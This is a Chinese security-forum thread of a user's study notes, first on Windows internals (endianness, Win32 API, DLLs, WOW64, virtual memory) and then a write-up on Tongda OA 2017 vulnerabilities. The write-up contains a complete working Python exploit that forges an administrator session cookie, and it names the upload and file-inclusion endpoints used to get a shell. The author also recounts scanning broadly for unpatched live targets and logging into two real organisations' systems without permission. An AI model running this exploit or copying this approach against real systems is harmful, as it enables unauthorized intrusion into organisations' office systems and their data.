  1. 70h 65h 64h 69h 79h        //ASCII码
  2. 0070h 0065h 0064h 0069h 0079h        //Uncide码的十六进制形式
复制代码
Intel处理器在内存中将一个字存入存储器 要占用相继的2个字节,存放时按Little-endian方式存入(低字节存入低地址,高字节存入高地址)。

1.2.2  字节存储顺序
  endian:字节序,表示数据在存储器中存放的顺序。
  主要分为大端序(Big-endian)和小端序(Little-endian)
(1)Big-endian:高字节存入低地址,低字节存入高地址。因网络协议也都采用Big-endian方式传输数据,故也将Big-endian方式称作网络字节序。
(2)Little-endian:低字节存入低地址,高字节存入高地址。

  一般来说,x86系列CPU都是Little-endian字节序,PowerPC通常是Bug-endian字节序。

1.3  Windows操作系统
1.3.1  Win32API 函数

1.API(Application Programming Interface,应用程序接口)
定义理解:API函数作为Windows程序设计开发初期程序员能使用的仅有的编程工具,需要提供应用程序运行所需要的窗口管理、图形设备接口、内存管理等服务功能。这些功能以函数库的形式组织在一起,形成了Windows应用程序编程接口,简称“Win API”。
  Win API 子系统负责将API调用转换成Windows操作系统的系统服务调用。
  APII函数是整个Windows框架的基石。上承Windows应用程序,下接Windows操作系统核心。

2.Win16与Win32
(1)Win16:用于16位Windows的API(Windows1.0~Windows3.1)
(2)Win32:用于32位Windows的APII(Windows9x/NT/2000/7/10)
64位Windows API 名称和功能基本无变化,依然使用Win32的函数名,但是是用64位代码实现的。
API 函数调用在从Win16到Win32的转换中保持兼容,并在数量和功能上不断增强。
  在Windows NT/2000/XP/7中,Win16函数调用通过一个转换层转换为Win32函数调用,然后被操作系统处理。
  在Windows 9x中,Win32函数调用通过转换层转换为Win16函数调用,再由操作系统处理,与上述正好相反。
3.动态链接库(DLLL)
  Windows运转的核心是动态链接,这些函数采用动态链接库(DLL)实现。
    在Windows NT/2000/XP/7中,DLL通常位于系统安装目录的\SYSTEM 和\SYSTEM32 子目录中。
    在Windows 9x中,DLL通常位于\WINDOWS\SYSTEM 子目录中。
  在早期,Windows的主要部分只需要在3个动态链接库中实现,他们分别代表Windows的三个主要子系统:
  1. Kernel(由KERNEL32.DLL实现):操作系统核心功能服务,包括:进程与线程控制、内存管理、文件访问等
  2. User(由USER32.DLL实现):负责处理用户接口,包括:键盘和鼠标输入、窗口和菜单管理等
  3. GDI(由GDI32.DLL实现):图形设备接口,允许程序在屏幕和打印机上显示文本和图形
复制代码
除上述主要模块之外,还包括:
  1. ADVAPI32.DLL:对象安全性、注册表操作
  2. COMCTL32.DLL:通用控件
  3. COMDLG32.DLL:公共对话框
  4. SHELL32.DLL:用户界面外壳
  5. NETAPI32.DLL:网络
  6. ...
复制代码
---------------------200411,熬夜秃头。
---------------------200412,来了来了,剩下的继续码字记录。
4.其他
  WinAPI 是一个计语C语言的接口,但其中的函数可以由不同的语言编写的程序调用。
  在NT 架构下,Win32API能接受Unicode和ASCII两种字符,而其内核只能使用Unicode字符集。字符串的转换需要占用系统资源,因此,ANSI版的应用程序需要更多的内存及更多的CPU资源,而Unicode版的程序在NT架构下的执行效率高了很多。
(注:Win32 API函数字符集中,“A”表示ANSI,为通常使用的单字节方式;“W”表示Widechars,即Unicode,为宽字节方式,以便处理双字节字符。)
以MessageBox 函数为例:

可看出,MessageBoxExA 函数为一个替换翻译层,用于分配内存,并将ANSI字符串转换成Unicode字符串,而系统最终调用Unicode版的MessageBoxExW 函数执行。当MessageBoxExW 函数返回时,它便释放缓存。【此过程系统执行了额外的字符串转换工作,消耗了额外的CPU资源。】
1.3.2  WOW64
  WOW64(Windows-on-Windows 64-bit):64位Windows操作系统的子系统,可是大多数32位应用程序在不进行修改的情况下运行在64位操作系统上。
  Windows的64位系统文件存储位置:\Windows\System32(包含原生的64位映像文件)。增加了存储32位系统文件的文件夹:\Windows\SysWOW64(为兼容32位操作系统)。
  64位应用程序会加载System32目录下64位的kernel32.dll、user32.dll 和ntdll.dll。当32位应用程序加载时,WOW64建立32位ntdll.dll所要求的启动环境,将CPU模式切换到32位,并开始执行32位加载器,就如同该进程运行在原生的32位系统上一样。WOW64会对32位ntdll.dll的调用重定向ntdll.dll(64位),而不是发出原生的32位系统调用指令。
  WOW64的限制:WOW64既不支持16位应用程序的执行(32位Windows支持16位应用程序的执行),也不支持加载32位内核模式的设备驱动程序。WOW64进程只能加载32位的DLL,不能加载原生的64位DLL【正好弥补了原生64位进程不能加载32位的DLL的缺陷】。
1.3.3  Windows消息机制
  Windows是一个消息驱动式系统,应用程序想要实现的功能由消息触发,通过对消息的相应和处理完成。
  Windows系统包括两种消息队列:
(1)系统消息队列
(2)应用程序消息队列
  事件发生的过程:(注意消息的非抢先性,即县发生先处理,后发生后处理,不论事件的轻重缓急)
Windows将输入的消息放入消息队列 --> 将输入的消息放入系统消息队列 --> 将输入的消息复制到相应的应用程序队列 --> 应用程序中的消息循环在它相应的消息队列中,检索每个消息并发给相应的窗口函数
【此处可将一个时间的发生比喻成客户在APP上点外卖,先将订单发送到总店(系统消息队列),再将消息发送到分店(应用程序队列),最后将订单进行分配(窗口函数),决定谁接哪一单,最后在不同的店进行制作,再由外卖员反馈给客户】
  常用Windows消息函数,略。
1.3.4  虚拟内存
  虚拟内存(Virtual Memory):并不是真正的内存,而是通过映射(Map)的方法使可用虚拟地址(Virtual Address)达到4GB,使每个应用程序可获得2GB的虚拟地址,剩下的2GB留给操作系统自用。
  默认情况下,32位操作系统的地址空间再4GB以内,Win32的 平坦内存模式 使内个进程都拥有自己的虚拟空间,对32位进程来说,这个地址空间是4GB。

【Win32的平坦内存模式:16位下内存必须通过段和偏移地址去找到相应的内存位置(段页式20位寻址);32位下,能够处理的地址总数达到2的32次方,即4GB的内存空间,此时无需将地址分段,即可使用任意的段寄存器寻址任意的地址空间。】
  虚拟内存的实现方法和过程:
(1)当一个应用程序启动时,操作系统创建一个进程,并给该进程分配2GB的虚拟地址(不是内存,只是地址)。
(2)虚拟内存管理器将应用程序的代码映射到那个应用程序的虚拟地址中的某个位置,并把当前需要的代码读入物理地址(注:虚拟地址与应用程序代码在物理内存中的位置是没有关系的)。
(3)如果使用DLL,DLL也会被映射到进程的虚拟地址空间中,在需要的时候才会被读入物理内存。
(4)其他项目(数据、堆栈等)的空间是从物理地址中分配的,并被映射到虚拟地址空间中。
(5)应用程序通过使用 其虚拟地址空间中的地址 开始执行。然后,虚拟内存管理器把每次内存访问映射到物理地址位置。
【注】:在物理内存中,操作系统和系统DLL代码需要提供给每个应用程序调用,所以他们必须时刻被映射;而用户的exe程序只在自己所属的时间片内被映射;用户DLL则有选择地被映射。
需要明白的几点事项有:
(1)应用程序不会直接访问物理地址
(2)虚拟内存管理器通过虚拟地址的访问请求来控制所有的物理地址访问。
(3)每个应用程序都有独立的4GB寻址空间,不同的应用程序的虚拟地址空间是彼此隔离的。
(4)DLL程序没有“私有”空格键,他们总是被映射到其他应用程序的地址空间中,作为其他应用程序的一部分运行。原因是:如果DLL不与其他程序处于同一个地址空间,应用程序就无法调用它。
  使用虚拟内存的好处:简化了内存的管理;弥补了物理内存的不足;可防止多任务环境下应用程序间的冲突。


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

30

主题

60

帖子

447

积分

中级会员

Rank: 3Rank: 3

积分
447
 楼主| 发表于 2020-4-20 16:56:41 | 显示全部楼层
本帖最后由 oldmoon 于 2020-4-28 22:03 编辑

math
200420



200421



200422



200423




200424



200425



200426


200427



200428




本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

30

主题

60

帖子

447

积分

中级会员

Rank: 3Rank: 3

积分
447
 楼主| 发表于 2020-4-26 22:56:31 | 显示全部楼层
200426
  在Windows2008上配置通达OA2017系统。
  前期的环境配置花费时间较长。
  因电脑清除缓存后仍旧无法访问论坛网页,手机浏览器登录后无法上传图片,具体内容暂记于word文档中,稍后搬运。
回复

使用道具 举报

30

主题

60

帖子

447

积分

中级会员

Rank: 3Rank: 3

积分
447
 楼主| 发表于 2020-4-28 23:05:48 | 显示全部楼层
本帖最后由 oldmoon 于 2020-4-30 15:25 编辑

通达OA2017系统 漏洞利用、本地环境部署测试及实战

0x00  写在前面
总结近三到四天的情况:
  知晓漏洞 --> 广撒网、寻找目标 --> 成功2个,并以管理员身份进入系统 --> 在人家后台翻来翻去,试图寻找能够上传文件的地方 --> 寻找失败,并成功打草惊蛇 --> 在虚拟机上搭建环境,想着先在本机尝试 --> 在虚拟机上测试时,目标之一发现端倪并关闭了服务器 --> 虚拟机测试完成,但实操时并不如人意 --> 补天提交漏洞报告(不完美版) --> 目标打开服务器,再次测试发现已打补丁
  这次尝试个人认为是成败参半的。此漏洞于2020年4月17日在通达OA官网给出官方补丁,而对大部分系统使用者而言,不能够做到定期检查日志、更新系统、修复漏洞的要求。故成败参半中成于在补丁发放一周内广撒网利用现有poc寻找目标,而败于盲目登陆后台浪费时间、在日志中留下明显的长时间登录痕迹以及没有做到一击即中地利用文件包含和文件上传漏洞getshell,打草惊蛇,错失良机。

  反思:
正确渗透测试步骤应为:0社工,1扫描,2登录,3上传,4注入,5执行,6下载,7代理,8反弹,9横向
对于此行动次应为:0详细查阅漏洞资料;1广撒网搜集能够成功进入后台的目标,做好记录;2在虚拟机上部署环境进行测试,熟悉漏洞利用流程及注意事项;3准备好要用到的工具和脚本;4对目标进行操作,getshell;5补天提交报告

0x01  漏洞简介
1.前台任意用户伪造cookie以管理员身份登录
利用poc.py得到cookie,在 http://ip/general/index.php 页面处修改利用cookie_editor修改cookie值并刷新界面,可以管理员身份登录后台。
poc.py :
  1. '''
  2. @Author         : Sp4ce
  3. @Date           : 2020-03-17 23:42:16
  4. @LastEditors    : Sp4ce
  5. @LastEditTime   : 2020-04-22 16:24:52
  6. @Description    : Challenge Everything.
  7. '''
  8. import requests
  9. from random import choice
  10. import argparse
  11. import json

  12. USER_AGENTS = [
  13.     "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; AcooBrowser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
  14.     "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Acoo Browser; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)",
  15.     "Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.35; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
  16.     "Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)",
  17.     "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0)",
  18.     "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.0.3705; .NET CLR 1.1.4322)",
  19.     "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30)",
  20.     "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.3 (Change: 287 c9dfb30)",
  21.     "Mozilla/5.0 (X11; U; Linux; en-US) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.6",
  22.     "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2pre) Gecko/20070215 K-Ninja/2.1.1",
  23.     "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9) Gecko/20080705 Firefox/3.0 Kapiko/3.0",
  24.     "Mozilla/5.0 (X11; Linux i686; U;) Gecko/20070322 Kazehakase/0.4.5",
  25.     "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko Fedora/1.9.0.8-1.fc10 Kazehakase/0.5.6",
  26.     "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11",
  27.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/535.20 (KHTML, like Gecko) Chrome/19.0.1036.7 Safari/535.20",
  28.     "Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto/2.9.168 Version/11.52",
  29.     "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.11 TaoBrowser/2.0 Safari/536.11",
  30.     "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.71 Safari/537.1 LBBROWSER",
  31.     "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; LBBROWSER)",
  32.     "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E; LBBROWSER)",
  33.     "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.84 Safari/535.11 LBBROWSER",
  34.     "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)",
  35.     "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; QQBrowser/7.0.3698.400)",
  36.     "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)",
  37.     "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; SV1; QQDownload 732; .NET4.0C; .NET4.0E; 360SE)",
  38.     "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)",
  39.     "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)",
  40.     "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1",
  41.     "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1",
  42.     "Mozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; zh-cn) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5",
  43.     "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b13pre) Gecko/20110307 Firefox/4.0b13pre",
  44.     "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:16.0) Gecko/20100101 Firefox/16.0",
  45.     "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11",
  46.     "Mozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10"
  47. ]

  48. headers={}

  49. def getV11Session(url):
  50.     checkUrl = url+'/general/login_code.php'
  51.     try:
  52.         headers["User-Agent"] = choice(USER_AGENTS)
  53.         res = requests.get(checkUrl,headers=headers)
  54.         resText = str(res.text).split('{')
  55.         codeUid = resText[-1].replace('}"}', '').replace('\r\n', '')
  56.         getSessUrl = url+'/logincheck_code.php'
  57.         res = requests.post(
  58.             getSessUrl, data={'CODEUID': '{'+codeUid+'}', 'UID': int(1)},headers=headers)
  59.         print('[+]Get Available COOKIE:'+res.headers['Set-Cookie'])
  60.     except:
  61.         print('[-]Something Wrong With '+url)



  62. def get2017Session(url):
  63.     checkUrl = url+'/ispirit/login_code.php'
  64.     try:
  65.         headers["User-Agent"] = choice(USER_AGENTS)
  66.         res = requests.get(checkUrl,headers=headers)
  67.         resText = json.loads(res.text)
  68.         codeUid = resText['codeuid']
  69.         codeScanUrl = url+'/general/login_code_scan.php'
  70.         res = requests.post(codeScanUrl, data={'codeuid': codeUid, 'uid': int(
  71.             1), 'source': 'pc', 'type': 'confirm', 'username': 'admin'},headers=headers)
  72.         resText = json.loads(res.text)
  73.         status = resText['status']
  74.         if status == str(1):
  75.             getCodeUidUrl = url+'/ispirit/login_code_check.php?codeuid='+codeUid
  76.             res = requests.get(getCodeUidUrl)
  77.             print('[+]Get Available COOKIE:'+res.headers['Set-Cookie'])
  78.         else:
  79.             print('[-]Something Wrong With '+url  + ' Maybe Not Vulnerable ?')
  80.     except:
  81.         print('[-]Something Wrong With '+url)


  82. if __name__ == "__main__":
  83.     parser = argparse.ArgumentParser()
  84.     parser.add_argument(
  85.         "-v",
  86.         "--tdoaversion",
  87.         type=int,
  88.         choices=[11, 2017],
  89.         help="Target TongDa OA Version. e.g: -v 11、-v 2017")
  90.     parser.add_argument(
  91.         "-url",
  92.         "--targeturl",
  93.         type=str,
  94.         help="Target URL. e.g: -url 192.168.2.1、-url http://192.168.2.1"
  95.     )
  96.     args = parser.parse_args()
  97.     url = args.targeturl
  98.     if 'http://' not in url:
  99.         url = 'http://' + url
  100.     if args.tdoaversion == 11:
  101.         getV11Session(url)
  102.     elif args.tdoaversion == 2017:
  103.         get2017Session(url)
  104.     else:
  105.         parser.print_help()
复制代码
执行:
  1. >python3 poc.py -v version -url url         
  2. *version只能取 11、2017 两个值
复制代码
2.任意文件上传/任意命令执行漏洞
在 http://ip/ispirit/im/upload.php 页面处用burpsuite抓包改包可实现,具体0x02中阐述。
3.本地文件包含漏洞
在 http://mc/gateway.php 页面处用burpsuite抓包改包可实现,具体0x02中阐述。

-----------------------------------------------------------------------------------------------------------200428 先到这,明日补充,熬夜秃头,早睡早起。
-----------------------------------------------------------------------------------------------------------200430 总所周知,人类的本质是鸽子(求不起托更是我错了T_T)
0x02  虚拟机测试



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 02:40 , Processed in 0.034559 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表